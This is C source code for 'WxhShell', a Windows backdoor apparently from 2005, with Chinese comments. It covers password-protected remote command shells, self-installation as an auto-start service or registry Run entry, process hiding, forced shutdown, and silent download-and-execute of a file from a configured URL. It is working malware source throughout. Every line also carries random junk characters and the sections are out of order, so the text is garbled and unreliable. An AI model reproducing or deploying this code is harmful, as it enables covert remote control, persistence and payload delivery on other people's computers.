    if(Boot(SHUTDOWN)) KWAd~8,mk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `"<hO 'WU  
    else { [-\U)>MY(p  
    closesocket(wsh); t%0c$c  
    ExitThread(0); >yHtGIHe-  
    } v~jm<{={g  
    break; `H$=hr  
    } FK94CI  
  // 获取shell R.F l5B  
  case 's': { &K(y%ieIJ  
    CmdShell(wsh); \NEk B&^n  
    closesocket(wsh); iA[o;D#  
    ExitThread(0); sUK|*y  
    break; c~;VvYu  
  } I,HtW),  
  // 退出 5 6.JB BZZ  
  case 'x': { mH4u@aQ}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `'k2gq&  
    CloseIt(wsh); ~(huUW  
    break; [{Q$$aV1  
    } f?ibyoXL  
  // 离开 ZbjUOlE02  
  case 'q': { D .LR-Z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,4 _H{+M  
    closesocket(wsh); j(]O$""  
    WSACleanup(); u/-EVCHr y  
    exit(1); ,d&3IhYhD  
    break; z,7;+6*=L  
        } r]D U  
  } M0\gp@Fe  
  } 3 H5  
MSeg7/MF  
  // 提示信息 ,|>>z#Rr(n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |G$-5 7fk  
} -C}"1|P!  
  } }1~9i'o%Z  
!>80p~L  
  return; (_>Su QK  
} VwZ~ntk  
%N&W_.F6  
// shell模块句柄 Z f<T`'_d  
int CmdShell(SOCKET sock) T4"D&~3 3q  
{ 5B2p_$W#  
STARTUPINFO si; ?eX/vqk  
ZeroMemory(&si,sizeof(si)); #OM)71kB8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K%mR=u#%&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]&q<O0^'  
PROCESS_INFORMATION ProcessInfo; -WF((s;<#  
char cmdline[]="cmd"; zNoFM/1Vb  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |pWu|M _'  
  return 0; `67i1w`  
} PsXCpyY!s  
PuGs%{$(h  
// 自身启动模式 K/f-9hE F  
int StartFromService(void) $ B&Zn Z?  
{ ~&qvS  
typedef struct KA?%1s(kJ  
{ 0;">ETh=  
  DWORD ExitStatus; Rk#'^ }  
  DWORD PebBaseAddress; Uuu2wz3O0  
  DWORD AffinityMask; bo\Ah/.  
  DWORD BasePriority; Qg(;>ops  
  ULONG UniqueProcessId; g H'hA'  
  ULONG InheritedFromUniqueProcessId; ([>__c/Nd  
}   PROCESS_BASIC_INFORMATION; m[3c,Axl7  
EC[]L'IL  
PROCNTQSIP NtQueryInformationProcess; l7^^Mnk C  
{2P18&=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5o>`7(t`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C5I7\9F)  
o^UOkxs.  
  HANDLE             hProcess; S qb>a j  
  PROCESS_BASIC_INFORMATION pbi; `P !idg*  
, ftJw  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *Ic^9njt  
  if(NULL == hInst ) return 0; pY )x&uM!  
X5[t6q!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~B"HI+:\L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ui#nN   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }kvix{  
Er j{_i?R?  
  if (!NtQueryInformationProcess) return 0; sV{\IgH/x  
g%S/)R,,ct  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `Tyd1!~  
  if(!hProcess) return 0; 5yoi;$~}_0  
{._'Q[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "%^_.Db>|  
V^[&4  
  CloseHandle(hProcess); W#P\hx  
[5p9p1@u{C  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); CV"}(1T  
if(hProcess==NULL) return 0; +O 7( >a  
H<i!C|AF  
HMODULE hMod; 7JQ4*RM  
char procName[255]; "ufSHrZv  
unsigned long cbNeeded; /}U)|6- B  
CA`V)XIsP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,>6a)2xh  
I P#vfM  
  CloseHandle(hProcess); )?#K0o[<  
MW rhVn{R  
if(strstr(procName,"services")) return 1; // 以服务启动 MjC<N[WO>N  
0O`Rh"O  
  return 0; // 注册表启动 '{ =F/q  
} N)Q_z9b=  
PA,aYg0f  
// 主模块 dR\yRC]I  
int StartWxhshell(LPSTR lpCmdLine) iEtR<R>=  
{ &57~i=A 3  
  SOCKET wsl; "0;WYw?  
BOOL val=TRUE; ">wvd*w0"(  
  int port=0; "]]LQb$  
  struct sockaddr_in door; 4lX_2QT]E  
aanS^t0  
  if(wscfg.ws_autoins) Install(); ^ei[1 #  
*Ts$Hj[  
port=atoi(lpCmdLine); QEt"T7a[/  
J  Y8Rk=  
if(port<=0) port=wscfg.ws_port; Q<V1`e  
0g: q%P0  
  WSADATA data; Het"x  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; nsi? .c&0!  
d38o*+JCf  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M 1 m]1<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nrev!h  
  door.sin_family = AF_INET; GBBr[}y-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4pT^ *  
  door.sin_port = htons(port); *Xk5H,:  
~3gazTe9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d]sqj\Q57  
closesocket(wsl); 3)W_^6>bM  
return 1; FvVC 2Z  
} MCibYv c[  
[sH3REE1h  
  if(listen(wsl,2) == INVALID_SOCKET) { 9rz$c, Y(  
closesocket(wsl); n^{h@u  
return 1; %(&ja_oO  
} Wm-$l  
  Wxhshell(wsl); {c3FJ5:  
  WSACleanup(); 6:%lxG  
"TaLvworb4  
return 0; Zx{Sxv"  
l9|K,YVW  
} ,|yscp8  
h&L-G j  
// 以NT服务方式启动 3]kM&lK5\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Fl($0}ER  
{ .up[wt gN  
DWORD   status = 0;  G-1qxK  
  DWORD   specificError = 0xfffffff; !\{2s!l~  
1o\2\B=k{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dDl+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ag\RLJ.KD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; NX%1L! #  
  serviceStatus.dwWin32ExitCode     = 0; /dg?6XT/  
  serviceStatus.dwServiceSpecificExitCode = 0; 3YLfh`6  
  serviceStatus.dwCheckPoint       = 0; N}VoO0I  
  serviceStatus.dwWaitHint       = 0; ?K pDEH~\  
?,riwDI 2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rG~W=!bj  
  if (hServiceStatusHandle==0) return; p2l@6\m\  
JXkx!X_{  
status = GetLastError(); T2]8w1l&K  
  if (status!=NO_ERROR) l]&A5tz3  
{ NVkYm+J#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .{ILeG  
    serviceStatus.dwCheckPoint       = 0; SbX^DAlB1  
    serviceStatus.dwWaitHint       = 0; *>qc6d@'  
    serviceStatus.dwWin32ExitCode     = status; rU9")4sQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; B0yGr\KJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xzY/$?  
    return; <?KgzIq2  
  } ;8vB7|54.  
" w V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j8e=],sQ  
  serviceStatus.dwCheckPoint       = 0; -tWxB GSa@  
  serviceStatus.dwWaitHint       = 0; 9HN&M*}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); AFsieJ  
} _Fj\0S"  
|j'@no_rv  
// 处理NT服务事件,比如:启动、停止 YG*<jKcX  
VOID WINAPI NTServiceHandler(DWORD fdwControl) emJZ+:%  
{ g$)0E<  
switch(fdwControl) r`FTiPD.C  
{ 9(=+OQ6  
case SERVICE_CONTROL_STOP: *pS3xit~  
  serviceStatus.dwWin32ExitCode = 0; %T<c8w}dP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; DD7D&@As  
  serviceStatus.dwCheckPoint   = 0; j";L{  
  serviceStatus.dwWaitHint     = 0; hP[/xe  
  { }|=Fnyj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k?3mFWc  
  } SJ8 ~:"\P  
  return; kJ .7C  
case SERVICE_CONTROL_PAUSE: =VWH8w.3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /NPx9cLW^  
  break; )99^58my  
case SERVICE_CONTROL_CONTINUE: #cD$ DA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =y?Aeqq\fl  
  break; |l|$ Q;  
case SERVICE_CONTROL_INTERROGATE: i-95>ff  
  break; 2I=4l  
}; V+})$m*>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !YM:?%B  
} #'#@H  
{c $8?6  
// 标准应用程序主函数 FhEfW7]0,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U; #v-'Z  
{ [w  FK!?  
\H PB{ ;  
// 获取操作系统版本 UY\E uA9  
OsIsNt=GetOsVer(); oC!z+<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -ebyW#  
T}'*Gry  
  // 从命令行安装 a}k5[)et  
  if(strpbrk(lpCmdLine,"iI")) Install(); dHn,;Vv^6  
c/-'^+9  
  // 下载执行文件 (3m^@2i  
if(wscfg.ws_downexe) { @C~gU@F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `Z@qWB<  
  WinExec(wscfg.ws_filenam,SW_HIDE); &x4|!" G  
} _^0UK|[  
~f8:sDJ  
if(!OsIsNt) { Og2w] B[  
// 如果时win9x,隐藏进程并且设置为注册表启动 %wq;<'W  
HideProc(); `q y@Qo  
StartWxhshell(lpCmdLine); DL '{ rK  
} Fy^8]u*Fu  
else FbD9G6h5  
  if(StartFromService()) kbx4I?  
  // 以服务方式启动 O 0P4uq  
  StartServiceCtrlDispatcher(DispatchTable); u>03l(X6f  
else 7  nawnS  
  // 普通方式启动 +39p5O!  
  StartWxhshell(lpCmdLine); 0ol*!@?  
{@X)=.Zf  
return 0; @w;&:J9m  
} MF5o\-&dN  
8/ CK(G  
@ql S #(  
T^nOv2@,  
=========================================== ShU1RQk  
CDG,l7  
rhwjsC6  
Y$eO:67;  
r )f+j@KF  
,D{D QJ(B  
" !='L`.  
`R_;n#3F0  
#include <stdio.h> qL!pDZk  
#include <string.h> z7]GZF  
#include <windows.h> {bO O?pp  
#include <winsock2.h> bb`8YF+?'  
#include <winsvc.h> t`"pn <  
#include <urlmon.h> nW_cjYS%  
M:.0]'[s5  
#pragma comment (lib, "Ws2_32.lib") WKONK;U+7  
#pragma comment (lib, "urlmon.lib") CdNb&Nyz  
Q;eY]l8  
#define MAX_USER   100 // 最大客户端连接数 )8JM.:,  
#define BUF_SOCK   200 // sock buffer @*5(KIeeC>  
#define KEY_BUFF   255 // 输入 buffer e#|YROHf  
7) Qq  
#define REBOOT     0   // 重启 V*F |Yo:  
#define SHUTDOWN   1   // 关机 R2f^dt^  
C"g bol^  
#define DEF_PORT   5000 // 监听端口 Nu7lPEM  
RfzYoBN  
#define REG_LEN     16   // 注册表键长度 ?4YLt|sn  
#define SVC_LEN     80   // NT服务名长度 fnJt8Y4  
J*+[?FXRL  
// 从dll定义API } o@Dsx5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kuW^_BROJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `]wk)50BVp  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NWII?X#T}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z6IWQo,)Rh  
"{M?,jP#  
// wxhshell配置信息 @ 3,:G$,  
struct WSCFG { #7p!xf^  
  int ws_port;         // 监听端口 ;><m[l6  
  char ws_passstr[REG_LEN]; // 口令 jUd)|v+t  
  int ws_autoins;       // 安装标记, 1=yes 0=no &r1]A&  
  char ws_regname[REG_LEN]; // 注册表键名 "WzD+<oL  
  char ws_svcname[REG_LEN]; // 服务名 #.@-ng6C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o4nDjFhh  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1}3tpO;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ZMO ym=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q0VR&b`?>D  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kxt/I<cs  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |H>;a@2d  
|X;|=.  
}; cr~.],$Om  
`j!XWh*$  
// default Wxhshell configuration -|4 Oq  
struct WSCFG wscfg={DEF_PORT, MM(\>J[Uq  
    "xuhuanlingzhe", j?1wP6/NP  
    1, f-Zi!AGh>  
    "Wxhshell", 2BV]@]qB  
    "Wxhshell", w$"^)E G,7  
            "WxhShell Service", /cZTj!M  
    "Wrsky Windows CmdShell Service", d:=Z<Y?d/  
    "Please Input Your Password: ", pKaU [1x?%  
  1, o2!wz8  
  "http://www.wrsky.com/wxhshell.exe", %a']TX  
  "Wxhshell.exe" k{D0&  
    }; ZP '0=  
b*1yvkX5  
// 消息定义模块 UT0}Ce>e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fGoJP[ae  
char *msg_ws_prompt="\n\r? for help\n\r#>";  C=qL0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^G4@cR.An  
char *msg_ws_ext="\n\rExit."; I>{o]^xw-D  
char *msg_ws_end="\n\rQuit."; b>Ea_3T/  
char *msg_ws_boot="\n\rReboot..."; Ko0?c.l  
char *msg_ws_poff="\n\rShutdown..."; ]A%~bQ7  
char *msg_ws_down="\n\rSave to "; X0]{8v%  
wV-9T*QrM  
char *msg_ws_err="\n\rErr!"; e8S4=W  
char *msg_ws_ok="\n\rOK!"; bjAI7B8As  
& H8  %  
char ExeFile[MAX_PATH]; xxA^A  
int nUser = 0; 'I$kDM mwh  
HANDLE handles[MAX_USER]; snYeo?|b  
int OsIsNt; X 8):R- J  
ld3H"p rR  
SERVICE_STATUS       serviceStatus; (I/ iD.A  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; udmLHc  
2MmHO2  
// 函数声明 '2 Y8  
int Install(void); .5);W;`X  
int Uninstall(void); ~'F.tB  
int DownloadFile(char *sURL, SOCKET wsh); 31UxYBY  
int Boot(int flag); 5zh6l+S[  
void HideProc(void); ;YSe:m*  
int GetOsVer(void); &XCP@@T  
int Wxhshell(SOCKET wsl); Kj)sL0  
void TalkWithClient(void *cs); m#[9F']Z`  
int CmdShell(SOCKET sock); 'T$Cw\F&  
int StartFromService(void); Jg)( F|>o  
int StartWxhshell(LPSTR lpCmdLine); \;KSx3o  
G|RBwl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); JY@bD:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HB`'S7Q  
oUO3,2bn  
// 数据结构和表定义 rIb~@cR)  
SERVICE_TABLE_ENTRY DispatchTable[] = )Ly ~\*  
{ fDqDU  
{wscfg.ws_svcname, NTServiceMain}, ;Yv{)@'Bc  
{NULL, NULL} <-fvYer  
}; ^M%P43  
WrcmC$ff  
// 自我安装 ({@" {  
int Install(void) *JfGGI_E  
{ &-{%G=5~e%  
  char svExeFile[MAX_PATH]; m5&Ht (I%n  
  HKEY key; I?E+  
  strcpy(svExeFile,ExeFile); o.w/ ?  
$${3I4  
// 如果是win9x系统,修改注册表设为自启动 lJN#_V0qW  
if(!OsIsNt) { tQRbNY#}Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qA\&%n^ j]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q'a]DJ`  
  RegCloseKey(key); wN10Drc   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uF1 4;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z,SV9 ~M  
  RegCloseKey(key); 6" Lyv  
  return 0; DU8\1(  
    } $y,KDR7^  
  } -s!J3DB  
} SXYwhID=  
else { G_5{5Ar  
>~Gy+-  
// 如果是NT以上系统,安装为系统服务 I4+1P1z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H! 5Ka#B  
if (schSCManager!=0) 9M'"q7Kh  
{ fa,:d8  
  SC_HANDLE schService = CreateService qTRP2rH,L&  
  ( V6](_w!  
  schSCManager, =OtW!vx#R.  
  wscfg.ws_svcname, re/u3\S  
  wscfg.ws_svcdisp, _Dqi#0#40p  
  SERVICE_ALL_ACCESS, p/Q< VV  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h*D -Vo  
  SERVICE_AUTO_START, N0}[&rE 8  
  SERVICE_ERROR_NORMAL, IKnf  
  svExeFile, iG"v  
  NULL, 2]Cn<zJ  
  NULL, dc4XX5Z  
  NULL, K$D+TI)  
  NULL, qi7*Jjk>90  
  NULL Qi dI  
  ); bv(+$YR  
  if (schService!=0) YU 0pWM  
  { T,a{mi.hNR  
  CloseServiceHandle(schService); .t>SbGC  
  CloseServiceHandle(schSCManager); ~N| aCi-X  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #Dgu V  
  strcat(svExeFile,wscfg.ws_svcname); 3AR'Zvn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { uEr.LCAS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kSol%C  
  RegCloseKey(key); 9 ;vES^  
  return 0; {yT<22Fl  
    } *gGw/jA/  
  } :N^B54o%6  
  CloseServiceHandle(schSCManager); @>~S$nw/  
} d^$cx(2$D  
} {Fyw<0 [@  
pX>wMc+  
return 1; ASMItT  
} yGWl8\,j0  
-gC%*S5&  
// 自我卸载 ]5`A8-Q@  
int Uninstall(void) Sjw wc6_c  
{ `Has3AX8  
  HKEY key; 2fc+PE  
OEbZs-:  
if(!OsIsNt) { U:MZN[Cc[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l,A\]QDvl  
  RegDeleteValue(key,wscfg.ws_regname); GO][`zZJ]  
  RegCloseKey(key); 1uA-!T*e>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s%> u[-9U  
  RegDeleteValue(key,wscfg.ws_regname); yfFe%8w_vw  
  RegCloseKey(key); kIt1kw  
  return 0; e*Nm[*@UW  
  } [vY)y\W{  
} rvnm*e,  
} \[+':o`LH  
else { )F'hn+(B|G  
5HvYy *B/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Cd p_niF  
if (schSCManager!=0) cx)x="c  
{ {=R vFA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u |$GOSD  
  if (schService!=0) 5KYR"-jY  
  { =*y{y)B^g  
  if(DeleteService(schService)!=0) { F>@z&a}(  
  CloseServiceHandle(schService); \jkDRR[  
  CloseServiceHandle(schSCManager); =E~SaT  
  return 0; a5@lWpQsV  
  } _1$+S0G;  
  CloseServiceHandle(schService); 'xM\txZ;  
  } J/vcP  
  CloseServiceHandle(schSCManager); XT==N-5,  
} e=u}J%|  
} yaX%<KBa\  
\nVoBW(  
return 1; E@="n<uS  
} FEA/}*2F  
<@@@Pl!~  
// 从指定url下载文件 +w@/$datI  
int DownloadFile(char *sURL, SOCKET wsh) .M\0+,%/  
{ *O Kve  
  HRESULT hr; FFF7f5F  
char seps[]= "/"; $:DhK  
char *token; hJ V*  
char *file; h&{>4{  
char myURL[MAX_PATH]; o`ODz[04  
char myFILE[MAX_PATH]; bqR0./V  
y=}a55:qE  
strcpy(myURL,sURL); mO\=# Q>  
  token=strtok(myURL,seps); yLt?XhRlp  
  while(token!=NULL) ]b&qC (  
  { e=Kr>~q=  
    file=token; cXOb=  
  token=strtok(NULL,seps); )jRaQ~Sm  
  } q]*:RI?wGT  
R&}{_1dj8  
GetCurrentDirectory(MAX_PATH,myFILE); Z:MU5(Te  
strcat(myFILE, "\\"); =(5}0}j  
strcat(myFILE, file); QV%eTA  
  send(wsh,myFILE,strlen(myFILE),0); zhwajc  
send(wsh,"...",3,0); j7Lw( AJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lG X_5R  
  if(hr==S_OK) =Sn!'@%U]  
return 0; F8Z6Ss|v3  
else TUd=qnu  
return 1; W}oAgUd  
VoUAFEcs  
} C? b_E  
g\,HiKBXd  
// 系统电源模块 v*e=oyx[  
int Boot(int flag) LZ~$=<  
{ &$NVEmW-J  
  HANDLE hToken; AyZBH &}RZ  
  TOKEN_PRIVILEGES tkp; ~48mCD  
TqMy">>  
  if(OsIsNt) { 4dvuw{NZ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `\S~;O  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); uwb>q"M  
    tkp.PrivilegeCount = 1; ?Wp{tB9N0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }Rq-IRa'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i+.bR.WO  
if(flag==REBOOT) { /F @a@m|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ucok&)7-  
  return 0; 1hgmlY`  
} UbV} !  
else { B bx.RL.V  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) t) ~v5vr  
  return 0; FY]z*=  
} 30/(  
  } %"RgW\s[R  
  else { ma26|N5  
if(flag==REBOOT) { ag$UNV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) lV!@h}mG  
  return 0; +2]{% =  
} w-MnJ(r  
else { %!1:BQ,p,i  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +EgQj*F*  
  return 0; =zW.~(c{  
} niN$!k+Jr  
} )Ikx0vDFQ  
^?tF'l`  
return 1; M3dNG]3E  
} enJE#4Z5&s  
qu/59D  
// win9x进程隐藏模块 47XQZ-}4  
void HideProc(void) #r)c@?T@j  
{ "eal Yveu  
P/FO,S-V  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #fYz367>  
  if ( hKernel != NULL ) bKH8/*Yk  
  { F/w!4,'<?5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); . RNQlh3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yN~: 3  
    FreeLibrary(hKernel); l2!4}zI2  
  } 1)M>vdrP  
Ye_)~,{,p  
return; %k3a34P@  
} qN_jsJ  
T=2 91)@  
// 获取操作系统版本 iwfv t^  
int GetOsVer(void) ? <slB>8  
{ e&u HU8k*  
  OSVERSIONINFO winfo; %+9Mr ami  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2FS,B\d  
  GetVersionEx(&winfo); ;wz YZ5=Di  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CxtH?9# |  
  return 1; A{hWFSv  
  else > c7fg^@  
  return 0; C@L:m1fz  
} ?H3xE=<X  
L +s,,k  
// 客户端句柄模块 Os1(28rl  
int Wxhshell(SOCKET wsl) /5_!Y >W  
{ RxkcQL/Le  
  SOCKET wsh; c>r0 N[  
  struct sockaddr_in client; .)mw~3]  
  DWORD myID; 9oY%v7  
h7  >  
  while(nUser<MAX_USER) p9 |r y+t  
{ Rj% q)aw'  
  int nSize=sizeof(client); }o? @  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DP*[t8  
  if(wsh==INVALID_SOCKET) return 1; 8\t~ *@"  
mY3x (#I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m`-{ V<(M  
if(handles[nUser]==0) d7tH~9GX8  
  closesocket(wsh); C=AX{sn  
else [N925?--S  
  nUser++; 6kKIDEX  
  } X4Eq/q"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r>`65o  
/W/ =OPe  
  return 0; >9|/sH@W  
} jzu1>*ok  
*A O/$K@Ma  
// 关闭 socket ,?7U Rx*  
void CloseIt(SOCKET wsh) ( _E<?  
{ #f~#38_  
closesocket(wsh); U w][U  
nUser--; Ohnd:8E  
ExitThread(0); &}%3yrU  
} B}YB%P_CWs  
z}N=Oe  
// 客户端请求句柄 _y),C   
void TalkWithClient(void *cs)  #IyxH$  
{ K9gfS V>]  
#tdI;x3  
  SOCKET wsh=(SOCKET)cs; pNI=HHx  
  char pwd[SVC_LEN]; pVP CxP  
  char cmd[KEY_BUFF]; {cKKTDN  
char chr[1]; s&!g )  
int i,j; zD-.bHo>.  
50Co/-)j  
  while (nUser < MAX_USER) { =g$%.  
9#.nNv*z3  
if(wscfg.ws_passstr) { QkwBw^'_5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7\K=8G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3j(GcR 9  
  //ZeroMemory(pwd,KEY_BUFF); z6b!,lp  
      i=0; N%:QaCZKw  
  while(i<SVC_LEN) { Ylll4w62N  
BYrj#n5  
  // 设置超时 y}5H<ZcXA  
  fd_set FdRead; < ppg$;  
  struct timeval TimeOut; >c?Z.of  
  FD_ZERO(&FdRead); Y|g8xkI}XB  
  FD_SET(wsh,&FdRead); '$PiyM|V  
  TimeOut.tv_sec=8; Qhsh{muw(  
  TimeOut.tv_usec=0; Y: oL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); CbA!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :}v&TQ  
 ">*PH}b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,D3?N2mB  
  pwd=chr[0]; mHUQtGAVQ  
  if(chr[0]==0xd || chr[0]==0xa) { Pp6(7j  
  pwd=0; %<DXM`Y  
  break; vu;pILN  
  } -S OP8G  
  i++; P|_>M SO1'  
    } $3|++?  
nWfOiw-t  
  // 如果是非法用户,关闭 socket J"L+`i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e-ILUzT  
} ogH{   
lphQZ{8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |[;9$Vn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L\XnTL{  
{ ,qm=Xjq  
while(1) { ds,NNN<HW  
 PW x9CT  
  ZeroMemory(cmd,KEY_BUFF); \m~ ?mg"#  
Ro`9Ibqr  
      // 自动支持客户端 telnet标准   %Iw6oG  
  j=0; /\V-1 7-  
  while(j<KEY_BUFF) { F$7>q'#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d:.S]OI0  
  cmd[j]=chr[0]; U6e 0{n  
  if(chr[0]==0xa || chr[0]==0xd) { E4 GtJ`{X  
  cmd[j]=0; Q\z6/1:9Z  
  break; 9}p?h1NrY  
  } $014/IB  
  j++; 9q5jqFQ  
    } m-4P*P$X  
GuPxN}n 5  
  // 下载文件 (-viP  
  if(strstr(cmd,"http://")) { zgXg-cr  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); VAX@'iZr  
  if(DownloadFile(cmd,wsh)) ,c<&)6FU]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^<49NUB>  
  else Jw3VWc ]]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L& ucTc =  
  } g<pr(7jO  
  else { [qbZp1s|(  
ovm109fTx  
    switch(cmd[0]) {  @oE^(  
  5My4a9  
  // 帮助 M3 MB{cA2  
